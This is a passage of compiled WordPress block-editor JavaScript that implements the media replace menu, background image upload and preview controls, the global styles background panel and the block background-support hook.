20413 external_wp_components_namespaceObject.MenuItem,
20414 {
20415 icon: upload_default,
20416 onClick: () => {
20417 openFileDialog();
20418 },
20419 children: (0,external_wp_i18n_namespaceObject._x)("Upload", "verb")
20420 }
20421 );
20422 }
20423 }
20424 )
20425 ] }),
20426 onToggleFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20427 external_wp_components_namespaceObject.MenuItem,
20428 {
20429 icon: post_featured_image_default,
20430 onClick: onToggleFeaturedImage,
20431 isPressed: useFeaturedImage,
20432 children: (0,external_wp_i18n_namespaceObject.__)("Use featured image")
20433 }
20434 ),
20435 mediaURL && onReset && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20436 external_wp_components_namespaceObject.MenuItem,
20437 {
20438 onClick: () => {
20439 onReset();
20440 onClose();
20441 },
20442 children: (0,external_wp_i18n_namespaceObject.__)("Reset")
20443 }
20444 ),
20445 typeof children === "function" ? children({ onClose }) : children
20446 ] }),
20447 onSelectURL && // eslint-disable-next-line jsx-a11y/no-noninteractive-element-interactions
20448 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("form", { className: "block-editor-media-flow__url-input", children: [
20449 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-media-replace-flow__image-url-label", children: (0,external_wp_i18n_namespaceObject.__)("Current media URL:") }),
20450 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20451 link_control_default,
20452 {
20453 value: { url: mediaURL },
20454 settings: [],
20455 showSuggestions: false,
20456 onChange: ({ url }) => {
20457 onSelectURL(url);
20458 },
20459 searchInputPlaceholder: (0,external_wp_i18n_namespaceObject.__)(
20460 "Paste or type URL"
20461 )
20462 }
20463 )
20464 ] })
20465 ] })
20466 }
20467 );
20468};
20469var media_replace_flow_default = (0,external_wp_compose_namespaceObject.compose)([
20470 (0,external_wp_data_namespaceObject.withDispatch)((dispatch) => {
20471 const { createNotice, removeNotice } = dispatch(external_wp_notices_namespaceObject.store);
20472 return {
20473 createNotice,
20474 removeNotice
20475 };
20476 }),
20477 (0,external_wp_components_namespaceObject.withFilters)("editor.MediaReplaceFlow")
20478])(MediaReplaceFlow);
20479
20480
20481;// ./node_modules/@wordpress/block-editor/build-module/components/background-image-control/index.js
20482
20483
20484
20485
20486
20487
20488
20489
20490
20491
20492
20493
20494
20495
20496
20497
20498
20499const IMAGE_BACKGROUND_TYPE = "image";
20500const BACKGROUND_POPOVER_PROPS = {
20501 placement: "left-start",
20502 offset: 36,
20503 shift: true,
20504 className: "block-editor-global-styles-background-panel__popover"
20505};
20506const background_image_control_noop = () => {
20507};
20508const focusToggleButton = (containerRef) => {
20509 window.requestAnimationFrame(() => {
20510 const [toggleButton] = external_wp_dom_namespaceObject.focus.tabbable.find(containerRef?.current);
20511 if (!toggleButton) {
20512 return;
20513 }
20514 toggleButton.focus();
20515 });
20516};
20517function backgroundSizeHelpText(value) {
20518 if (value === "cover" || value === void 0) {
20519 return (0,external_wp_i18n_namespaceObject.__)("Image covers the space evenly.");
20520 }
20521 if (value === "contain") {
20522 return (0,external_wp_i18n_namespaceObject.__)("Image is contained without distortion.");
20523 }
20524 return (0,external_wp_i18n_namespaceObject.__)("Image has a fixed width.");
20525}
20526const coordsToBackgroundPosition = (value) => {
20527 if (!value || isNaN(value.x) && isNaN(value.y)) {
20528 return void 0;
20529 }
20530 const x = isNaN(value.x) ? 0.5 : value.x;
20531 const y = isNaN(value.y) ? 0.5 : value.y;
20532 return `${x * 100}% ${y * 100}%`;
20533};
20534const backgroundPositionToCoords = (value) => {
20535 if (!value) {
20536 return { x: void 0, y: void 0 };
20537 }
20538 let [x, y] = value.split(" ").map((v) => parseFloat(v) / 100);
20539 x = isNaN(x) ? void 0 : x;
20540 y = isNaN(y) ? x : y;
20541 return { x, y };
20542};
20543function InspectorImagePreviewItem({
20544 as = "span",
20545 imgUrl,
20546 toggleProps = {},
20547 filename,
20548 label,
20549 onToggleCallback = background_image_control_noop
20550}) {
20551 const { isOpen, ...restToggleProps } = toggleProps;
20552 (0,external_wp_element_namespaceObject.useEffect)(() => {
20553 if (typeof isOpen !== "undefined") {
20554 onToggleCallback(isOpen);
20555 }
20556 }, [isOpen, onToggleCallback]);
20557 const renderPreviewContent = () => {
20558 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20559 external_wp_components_namespaceObject.__experimentalHStack,
20560 {
20561 justify: "flex-start",
20562 as: "span",
20563 className: "block-editor-global-styles-background-panel__inspector-preview-inner",
20564 children: [
20565 imgUrl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20566 "span",
20567 {
20568 className: "block-editor-global-styles-background-panel__inspector-image-indicator-wrapper",
20569 "aria-hidden": true,
20570 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20571 "span",
20572 {
20573 className: "block-editor-global-styles-background-panel__inspector-image-indicator",
20574 style: {
20575 backgroundImage: `url(${imgUrl})`
20576 }
20577 }
20578 )
20579 }
20580 ),
20581 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, { as: "span", style: imgUrl ? {} : { flexGrow: 1 }, children: [
20582 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20583 external_wp_components_namespaceObject.__experimentalTruncate,
20584 {
20585 numberOfLines: 1,
20586 className: "block-editor-global-styles-background-panel__inspector-media-replace-title",
20587 children: label
20588 }
20589 ),
20590 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "span", children: imgUrl ? (0,external_wp_i18n_namespaceObject.sprintf)(
20591 /* translators: %s: file name */
20592 (0,external_wp_i18n_namespaceObject.__)("Background image: %s"),
20593 filename || label
20594 ) : (0,external_wp_i18n_namespaceObject.__)("No background image selected") })
20595 ] })
20596 ]
20597 }
20598 );
20599 };
20600 return as === "button" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, ...restToggleProps, children: renderPreviewContent() }) : renderPreviewContent();
20601}
20602function BackgroundControlsPanel({
20603 label,
20604 filename,
20605 url: imgUrl,
20606 children,
20607 onToggle: onToggleCallback = background_image_control_noop,
20608 hasImageValue,
20609 onReset,
20610 containerRef
20611}) {
20612 if (!hasImageValue) {
20613 return;
20614 }
20615 const imgLabel = label || (0,external_wp_url_namespaceObject.getFilename)(imgUrl) || (0,external_wp_i18n_namespaceObject.__)("Add background image");
20616 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20617 external_wp_components_namespaceObject.Dropdown,
20618 {
20619 popoverProps: BACKGROUND_POPOVER_PROPS,
20620 renderToggle: ({ onToggle, isOpen }) => {
20621 const toggleProps = {
20622 onClick: onToggle,
20623 className: "block-editor-global-styles-background-panel__dropdown-toggle",
20624 "aria-expanded": isOpen,
20625 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
20626 "Background size, position and repeat options."
20627 ),
20628 isOpen
20629 };
20630 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20631 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20632 InspectorImagePreviewItem,
20633 {
20634 imgUrl,
20635 filename,
20636 label: imgLabel,
20637 toggleProps,
20638 as: "button",
20639 onToggleCallback
20640 }
20641 ),
20642 onReset && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20643 external_wp_components_namespaceObject.Button,
20644 {
20645 __next40pxDefaultSize: true,
20646 label: (0,external_wp_i18n_namespaceObject.__)("Reset"),
20647 className: "block-editor-global-styles-background-panel__reset",
20648 size: "small",
20649 icon: reset_default,
20650 onClick: () => {
20651 onReset();
20652 if (isOpen) {
20653 onToggle();
20654 }
20655 focusToggleButton(containerRef);
20656 }
20657 }
20658 )
20659 ] });
20660 },
20661 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20662 external_wp_components_namespaceObject.__experimentalDropdownContentWrapper,
20663 {
20664 className: "block-editor-global-styles-background-panel__dropdown-content-wrapper",
20665 paddingSize: "medium",
20666 children
20667 }
20668 )
20669 }
20670 );
20671}
20672function LoadingSpinner() {
20673 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { className: "block-editor-global-styles-background-panel__loading", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
20674}
20675function BackgroundImageControls({
20676 onChange,
20677 style,
20678 inheritedValue,
20679 onRemoveImage = background_image_control_noop,
20680 onResetImage = background_image_control_noop,
20681 displayInPanel,
20682 defaultValues,
20683 containerRef
20684}) {
20685 const [isUploading, setIsUploading] = (0,external_wp_element_namespaceObject.useState)(false);
20686 const { getSettings } = (0,external_wp_data_namespaceObject.useSelect)(store);
20687 const { id, title, url } = style?.background?.backgroundImage || {
20688 ...inheritedValue?.background?.backgroundImage
20689 };
20690 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
20691 const onUploadError = (message) => {
20692 createErrorNotice(message, { type: "snackbar" });
20693 setIsUploading(false);
20694 };
20695 const resetBackgroundImage = () => onChange(
20696 setImmutably(
20697 style,
20698 ["background", "backgroundImage"],
20699 void 0
20700 )
20701 );
20702 const onSelectMedia = (media) => {
20703 if (!media || !media.url) {
20704 resetBackgroundImage();
20705 setIsUploading(false);
20706 return;
20707 }
20708 if ((0,external_wp_blob_namespaceObject.isBlobURL)(media.url)) {
20709 setIsUploading(true);
20710 return;
20711 }
20712 if (media.media_type && media.media_type !== IMAGE_BACKGROUND_TYPE || !media.media_type && media.type && media.type !== IMAGE_BACKGROUND_TYPE) {
20713 onUploadError(
20714 (0,external_wp_i18n_namespaceObject.__)("Only images can be used as a background image.")
20715 );
20716 return;
20717 }
20718 const sizeValue = style?.background?.backgroundSize || defaultValues?.backgroundSize;
20719 const positionValue = style?.background?.backgroundPosition;
20720 onChange(
20721 setImmutably(style, ["background"], {
20722 ...style?.background,
20723 backgroundImage: {
20724 url: media.url,
20725 id: media.id,
20726 source: "file",
20727 title: media.title || void 0
20728 },
20729 backgroundPosition: (
20730 /*
20731 * A background image uploaded and set in the editor receives a default background position of '50% 0',
20732 * when the background image size is the equivalent of "Tile".
20733 * This is to increase the chance that the image's focus point is visible.
20734 * This is in-editor only to assist with the user experience.
20735 */
20736 !positionValue && ("auto" === sizeValue || !sizeValue) ? "50% 0" : positionValue
20737 ),
20738 backgroundSize: sizeValue
20739 })
20740 );
20741 setIsUploading(false);
20742 focusToggleButton(containerRef);
20743 };
20744 const onFilesDrop = (filesList) => {
20745 getSettings().mediaUpload({
20746 allowedTypes: [IMAGE_BACKGROUND_TYPE],
20747 filesList,
20748 onFileChange([image]) {
20749 onSelectMedia(image);
20750 },
20751 onError: onUploadError,
20752 multiple: false
20753 });
20754 };
20755 const hasValue = hasBackgroundImageValue(style);
20756 const onRemove = () => onChange(
20757 setImmutably(style, ["background"], {
20758 backgroundImage: "none"
20759 })
20760 );
20761 const canRemove = !hasValue && hasBackgroundImageValue(inheritedValue);
20762 const imgLabel = title || (0,external_wp_url_namespaceObject.getFilename)(url) || (0,external_wp_i18n_namespaceObject.__)("Add background image");
20763 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-global-styles-background-panel__image-tools-panel-item", children: [
20764 isUploading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LoadingSpinner, {}),
20765 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20766 media_replace_flow_default,
20767 {
20768 mediaId: id,
20769 mediaURL: url,
20770 allowedTypes: [IMAGE_BACKGROUND_TYPE],
20771 accept: "image/*",
20772 onSelect: onSelectMedia,
20773 popoverProps: {
20774 className: dist_clsx({
20775 "block-editor-global-styles-background-panel__media-replace-popover": displayInPanel
20776 })
20777 },
20778 name: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20779 InspectorImagePreviewItem,
20780 {
20781 imgUrl: url,
20782 filename: title,
20783 label: imgLabel
20784 }
20785 ),
20786 renderToggle: (props) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { ...props, __next40pxDefaultSize: true }),
20787 onError: onUploadError,
20788 onReset: () => {
20789 focusToggleButton(containerRef);
20790 onResetImage();
20791 },
20792 children: canRemove && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20793 external_wp_components_namespaceObject.MenuItem,
20794 {
20795 onClick: () => {
20796 focusToggleButton(containerRef);
20797 onRemove();
20798 onRemoveImage();
20799 },
20800 children: (0,external_wp_i18n_namespaceObject.__)("Remove")
20801 }
20802 )
20803 }
20804 ),
20805 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20806 external_wp_components_namespaceObject.DropZone,
20807 {
20808 onFilesDrop,
20809 label: (0,external_wp_i18n_namespaceObject.__)("Drop to upload")
20810 }
20811 )
20812 ] });
20813}
20814function BackgroundSizeControls({
20815 onChange,
20816 style,
20817 inheritedValue,
20818 defaultValues
20819}) {
20820 const sizeValue = style?.background?.backgroundSize || inheritedValue?.background?.backgroundSize;
20821 const repeatValue = style?.background?.backgroundRepeat || inheritedValue?.background?.backgroundRepeat;
20822 const imageValue = style?.background?.backgroundImage?.url || inheritedValue?.background?.backgroundImage?.url;
20823 const isUploadedImage = style?.background?.backgroundImage?.id;
20824 const positionValue = style?.background?.backgroundPosition || inheritedValue?.background?.backgroundPosition;
20825 const attachmentValue = style?.background?.backgroundAttachment || inheritedValue?.background?.backgroundAttachment;
20826 let currentValueForToggle = !sizeValue && isUploadedImage ? defaultValues?.backgroundSize : sizeValue || "auto";
20827 currentValueForToggle = !["cover", "contain", "auto"].includes(
20828 currentValueForToggle
20829 ) ? "auto" : currentValueForToggle;
20830 const repeatCheckedValue = !(repeatValue === "no-repeat" || currentValueForToggle === "cover" && repeatValue === void 0);
20831 const updateBackgroundSize = (next) => {
20832 let nextRepeat = repeatValue;
20833 let nextPosition = positionValue;
20834 if (next === "contain") {
20835 nextRepeat = "no-repeat";
20836 nextPosition = void 0;
20837 }
20838 if (next === "cover") {
20839 nextRepeat = void 0;
20840 nextPosition = void 0;
20841 }
20842 if ((currentValueForToggle === "cover" || currentValueForToggle === "contain") && next === "auto") {
20843 nextRepeat = void 0;
20844 if (!!style?.background?.backgroundImage?.id) {
20845 nextPosition = "50% 0";
20846 }
20847 }
20848 if (!next && currentValueForToggle === "auto") {
20849 next = "auto";
20850 }
20851 onChange(
20852 setImmutably(style, ["background"], {
20853 ...style?.background,
20854 backgroundPosition: nextPosition,
20855 backgroundRepeat: nextRepeat,
20856 backgroundSize: next
20857 })
20858 );
20859 };
20860 const updateBackgroundPosition = (next) => {
20861 onChange(
20862 setImmutably(
20863 style,
20864 ["background", "backgroundPosition"],
20865 coordsToBackgroundPosition(next)
20866 )
20867 );
20868 };
20869 const toggleIsRepeated = () => onChange(
20870 setImmutably(
20871 style,
20872 ["background", "backgroundRepeat"],
20873 repeatCheckedValue === true ? "no-repeat" : "repeat"
20874 )
20875 );
20876 const toggleScrollWithPage = () => onChange(
20877 setImmutably(
20878 style,
20879 ["background", "backgroundAttachment"],
20880 attachmentValue === "fixed" ? "scroll" : "fixed"
20881 )
20882 );
20883 const backgroundPositionValue = !positionValue && isUploadedImage && "contain" === sizeValue ? defaultValues?.backgroundPosition : positionValue;
20884 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, className: "single-column", children: [
20885 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20886 external_wp_components_namespaceObject.FocalPointPicker,
20887 {
20888 __nextHasNoMarginBottom: true,
20889 label: (0,external_wp_i18n_namespaceObject.__)("Focal point"),
20890 url: imageValue,
20891 value: backgroundPositionToCoords(backgroundPositionValue),
20892 onChange: updateBackgroundPosition
20893 }
20894 ),
20895 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20896 external_wp_components_namespaceObject.ToggleControl,
20897 {
20898 __nextHasNoMarginBottom: true,
20899 label: (0,external_wp_i18n_namespaceObject.__)("Fixed background"),
20900 checked: attachmentValue === "fixed",
20901 onChange: toggleScrollWithPage
20902 }
20903 ),
20904 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20905 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
20906 {
20907 __nextHasNoMarginBottom: true,
20908 size: "__unstable-large",
20909 label: (0,external_wp_i18n_namespaceObject.__)("Size"),
20910 value: currentValueForToggle,
20911 onChange: updateBackgroundSize,
20912 isBlock: true,
20913 help: backgroundSizeHelpText(
20914 sizeValue || defaultValues?.backgroundSize
20915 ),
20916 children: [
20917 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20918 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
20919 {
20920 value: "cover",
20921 label: (0,external_wp_i18n_namespaceObject._x)(
20922 "Cover",
20923 "Size option for background image control"
20924 )
20925 },
20926 "cover"
20927 ),
20928 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20929 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
20930 {
20931 value: "contain",
20932 label: (0,external_wp_i18n_namespaceObject._x)(
20933 "Contain",
20934 "Size option for background image control"
20935 )
20936 },
20937 "contain"
20938 ),
20939 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20940 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
20941 {
20942 value: "auto",
20943 label: (0,external_wp_i18n_namespaceObject._x)(
20944 "Tile",
20945 "Size option for background image control"
20946 )
20947 },
20948 "tile"
20949 )
20950 ]
20951 }
20952 ),
20953 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", spacing: 2, as: "span", children: [
20954 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20955 external_wp_components_namespaceObject.__experimentalUnitControl,
20956 {
20957 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Background image width"),
20958 onChange: updateBackgroundSize,
20959 value: sizeValue,
20960 size: "__unstable-large",
20961 __unstableInputWidth: "100px",
20962 min: 0,
20963 placeholder: (0,external_wp_i18n_namespaceObject.__)("Auto"),
20964 disabled: currentValueForToggle !== "auto" || currentValueForToggle === void 0
20965 }
20966 ),
20967 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20968 external_wp_components_namespaceObject.ToggleControl,
20969 {
20970 __nextHasNoMarginBottom: true,
20971 label: (0,external_wp_i18n_namespaceObject.__)("Repeat"),
20972 checked: repeatCheckedValue,
20973 onChange: toggleIsRepeated,
20974 disabled: currentValueForToggle === "cover"
20975 }
20976 )
20977 ] })
20978 ] });
20979}
20980function BackgroundImagePanel({
20981 value,
20982 onChange,
20983 inheritedValue = value,
20984 settings,
20985 defaultValues = {}
20986}) {
20987 const { globalStyles, _links } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20988 const { getSettings } = select(store);
20989 const _settings = getSettings();
20990 return {
20991 globalStyles: _settings[globalStylesDataKey],
20992 _links: _settings[globalStylesLinksDataKey]
20993 };
20994 }, []);
20995 const resolvedInheritedValue = (0,external_wp_element_namespaceObject.useMemo)(() => {
20996 const resolvedValues = {
20997 background: {}
20998 };
20999 if (!inheritedValue?.background) {
21000 return inheritedValue;
21001 }
21002 Object.entries(inheritedValue?.background).forEach(
21003 ([key, backgroundValue]) => {
21004 resolvedValues.background[key] = getResolvedValue(
21005 backgroundValue,
21006 {
21007 styles: globalStyles,
21008 _links
21009 }
21010 );
21011 }
21012 );
21013 return resolvedValues;
21014 }, [globalStyles, _links, inheritedValue]);
21015 const resetBackground = () => onChange(setImmutably(value, ["background"], {}));
21016 const { title, url } = value?.background?.backgroundImage || {
21017 ...resolvedInheritedValue?.background?.backgroundImage
21018 };
21019 const hasImageValue = hasBackgroundImageValue(value) || hasBackgroundImageValue(resolvedInheritedValue);
21020 const imageValue = value?.background?.backgroundImage || inheritedValue?.background?.backgroundImage;
21021 const shouldShowBackgroundImageControls = hasImageValue && "none" !== imageValue && (settings?.background?.backgroundSize || settings?.background?.backgroundPosition || settings?.background?.backgroundRepeat);
21022 const [isDropDownOpen, setIsDropDownOpen] = (0,external_wp_element_namespaceObject.useState)(false);
21023 const containerRef = (0,external_wp_element_namespaceObject.useRef)();
21024 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21025 "div",
21026 {
21027 ref: containerRef,
21028 className: dist_clsx(
21029 "block-editor-global-styles-background-panel__inspector-media-replace-container",
21030 {
21031 "is-open": isDropDownOpen
21032 }
21033 ),
21034 children: shouldShowBackgroundImageControls ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21035 BackgroundControlsPanel,
21036 {
21037 label: title,
21038 filename: title,
21039 url,
21040 onToggle: setIsDropDownOpen,
21041 hasImageValue,
21042 onReset: resetBackground,
21043 containerRef,
21044 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, className: "single-column", children: [
21045 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21046 BackgroundImageControls,
21047 {
21048 onChange,
21049 style: value,
21050 inheritedValue: resolvedInheritedValue,
21051 displayInPanel: true,
21052 onResetImage: () => {
21053 setIsDropDownOpen(false);
21054 resetBackground();
21055 },
21056 onRemoveImage: () => setIsDropDownOpen(false),
21057 defaultValues,
21058 containerRef
21059 }
21060 ),
21061 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21062 BackgroundSizeControls,
21063 {
21064 onChange,
21065 style: value,
21066 defaultValues,
21067 inheritedValue: resolvedInheritedValue
21068 }
21069 )
21070 ] })
21071 }
21072 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21073 BackgroundImageControls,
21074 {
21075 onChange,
21076 style: value,
21077 inheritedValue: resolvedInheritedValue,
21078 defaultValues,
21079 onResetImage: () => {
21080 setIsDropDownOpen(false);
21081 resetBackground();
21082 },
21083 onRemoveImage: () => setIsDropDownOpen(false),
21084 containerRef
21085 }
21086 )
21087 }
21088 );
21089}
21090
21091
21092;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/background-panel.js
21093
21094
21095
21096
21097
21098
21099
21100const background_panel_DEFAULT_CONTROLS = {
21101 backgroundImage: true
21102};
21103function useHasBackgroundPanel(settings) {
21104 return external_wp_element_namespaceObject.Platform.OS === "web" && settings?.background?.backgroundImage;
21105}
21106function hasBackgroundSizeValue(style) {
21107 return style?.background?.backgroundPosition !== void 0 || style?.background?.backgroundSize !== void 0;
21108}
21109function hasBackgroundImageValue(style) {
21110 return !!style?.background?.backgroundImage?.id || // Supports url() string values in theme.json.
21111 "string" === typeof style?.background?.backgroundImage || !!style?.background?.backgroundImage?.url;
21112}
21113function BackgroundToolsPanel({
21114 resetAllFilter,
21115 onChange,
21116 value,
21117 panelId,
21118 children,
21119 headerLabel
21120}) {
21121 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
21122 const resetAll = () => {
21123 const updatedValue = resetAllFilter(value);
21124 onChange(updatedValue);
21125 };
21126 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21127 external_wp_components_namespaceObject.__experimentalToolsPanel,
21128 {
21129 label: headerLabel,
21130 resetAll,
21131 panelId,
21132 dropdownMenuProps,
21133 children
21134 }
21135 );
21136}
21137function background_panel_BackgroundImagePanel({
21138 as: Wrapper = BackgroundToolsPanel,
21139 value,
21140 onChange,
21141 inheritedValue,
21142 settings,
21143 panelId,
21144 defaultControls = background_panel_DEFAULT_CONTROLS,
21145 defaultValues = {},
21146 headerLabel = (0,external_wp_i18n_namespaceObject.__)("Background image")
21147}) {
21148 const showBackgroundImageControl = useHasBackgroundPanel(settings);
21149 const resetBackground = () => onChange(setImmutably(value, ["background"], {}));
21150 const resetAllFilter = (0,external_wp_element_namespaceObject.useCallback)((previousValue) => {
21151 return {
21152 ...previousValue,
21153 background: {}
21154 };
21155 }, []);
21156 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21157 Wrapper,
21158 {
21159 resetAllFilter,
21160 value,
21161 onChange,
21162 panelId,
21163 headerLabel,
21164 children: showBackgroundImageControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21165 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
21166 {
21167 hasValue: () => !!value?.background,
21168 label: (0,external_wp_i18n_namespaceObject.__)("Image"),
21169 onDeselect: resetBackground,
21170 isShownByDefault: defaultControls.backgroundImage,
21171 panelId,
21172 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21173 BackgroundImagePanel,
21174 {
21175 value,
21176 onChange,
21177 settings,
21178 inheritedValue,
21179 defaultControls,
21180 defaultValues
21181 }
21182 )
21183 }
21184 )
21185 }
21186 );
21187}
21188
21189
21190;// ./node_modules/@wordpress/block-editor/build-module/hooks/background.js
21191
21192
21193
21194
21195
21196
21197
21198
21199
21200const BACKGROUND_SUPPORT_KEY = "background";
21201const BACKGROUND_BLOCK_DEFAULT_VALUES = {
21202 backgroundSize: "cover",
21203 backgroundPosition: "50% 50%"
21204 // used only when backgroundSize is 'contain'.
21205};
21206function hasBackgroundSupport(blockName, feature = "any") {
21207 const support = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockName, BACKGROUND_SUPPORT_KEY);
21208 if (support === true) {
21209 return true;
21210 }
21211 if (feature === "any") {
21212 return !!support?.backgroundImage || !!support?.backgroundSize || !!support?.backgroundRepeat;
21213 }
21214 return !!support?.[feature];
21215}
21216function setBackgroundStyleDefaults(backgroundStyle) {
21217 if (!backgroundStyle || !backgroundStyle?.backgroundImage?.url) {
21218 return;
21219 }
21220 let backgroundStylesWithDefaults;
21221 if (!backgroundStyle?.backgroundSize) {
21222 backgroundStylesWithDefaults = {
21223 backgroundSize: BACKGROUND_BLOCK_DEFAULT_VALUES.backgroundSize
21224 };
21225 }
21226 if ("contain" === backgroundStyle?.backgroundSize && !backgroundStyle?.backgroundPosition) {
21227 backgroundStylesWithDefaults = {
21228 backgroundPosition: BACKGROUND_BLOCK_DEFAULT_VALUES.backgroundPosition
21229 };
21230 }
21231 return backgroundStylesWithDefaults;
21232}
21233function background_useBlockProps({ name, style }) {
21234 if (!hasBackgroundSupport(name) || !style?.background?.backgroundImage) {
21235 return;
21236 }
21237 const backgroundStyles = setBackgroundStyleDefaults(style?.background);
21238 if (!backgroundStyles) {
21239 return;
21240 }
21241 return {
21242 style: {
21243 ...backgroundStyles
21244 }
21245 };
21246}
21247function getBackgroundImageClasses(style) {
21248 return hasBackgroundImageValue(style) ? "has-background" : "";
21249}
21250function BackgroundInspectorControl({ children }) {
21251 const resetAllFilter = (0,external_wp_element_namespaceObject.useCallback)((attributes) => {
21252 return {
21253 ...attributes,
21254 style: {
21255 ...attributes.style,
21256 background: void 0
21257 }
21258 };
21259 }, []);
21260 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default, { group: "background", resetAllFilter, children });
21261}
21262function background_BackgroundImagePanel({
21263 clientId,
21264 name,
21265 setAttributes,
21266 settings
21267}) {
21268 const { style, inheritedValue } = (0,external_wp_data_namespaceObject.useSelect)(
21269 (select) => {
21270 const { getBlockAttributes, getSettings } = select(store);
21271 const _settings = getSettings();
21272 return {
21273 style: getBlockAttributes(clientId)?.style,
21274 /*
21275 * To ensure we pass down the right inherited values:
21276 * @TODO 1. Pass inherited value down to all block style controls,
21277 * See: packages/block-editor/src/hooks/style.js
21278 * @TODO 2. Add support for block style variations,
21279 * See implementation: packages/block-editor/src/hooks/block-style-variation.js
21280 */
21281 inheritedValue: _settings[globalStylesDataKey]?.blocks?.[name]
21282 };
21283 },
21284 [clientId, name]
21285 );
21286 if (!useHasBackgroundPanel(settings) || !hasBackgroundSupport(name, "backgroundImage")) {
21287 return null;
21288 }
21289 const onChange = (newStyle) => {
21290 setAttributes({
21291 style: utils_cleanEmptyObject(newStyle)
21292 });
21293 };
21294 const updatedSettings = {
21295 ...settings,
21296 background: {
21297 ...settings.background,
21298 backgroundSize: settings?.background?.backgroundSize && hasBackgroundSupport(name, "backgroundSize")
21299 }
21300 };
21301 const defaultControls = (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
21302 BACKGROUND_SUPPORT_KEY,
21303 "defaultControls"
21304 ]);
21305 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21306 background_panel_BackgroundImagePanel,
21307 {
21308 inheritedValue,
21309 as: BackgroundInspectorControl,
21310 panelId: clientId,
21311 defaultValues: BACKGROUND_BLOCK_DEFAULT_VALUES,
21312 settings: updatedSettings,
21313 onChange,
21314 defaultControls,
21315 value: style
21316 }
21317 );
21318}
21319var background_default = {
21320 useBlockProps: background_useBlockProps,
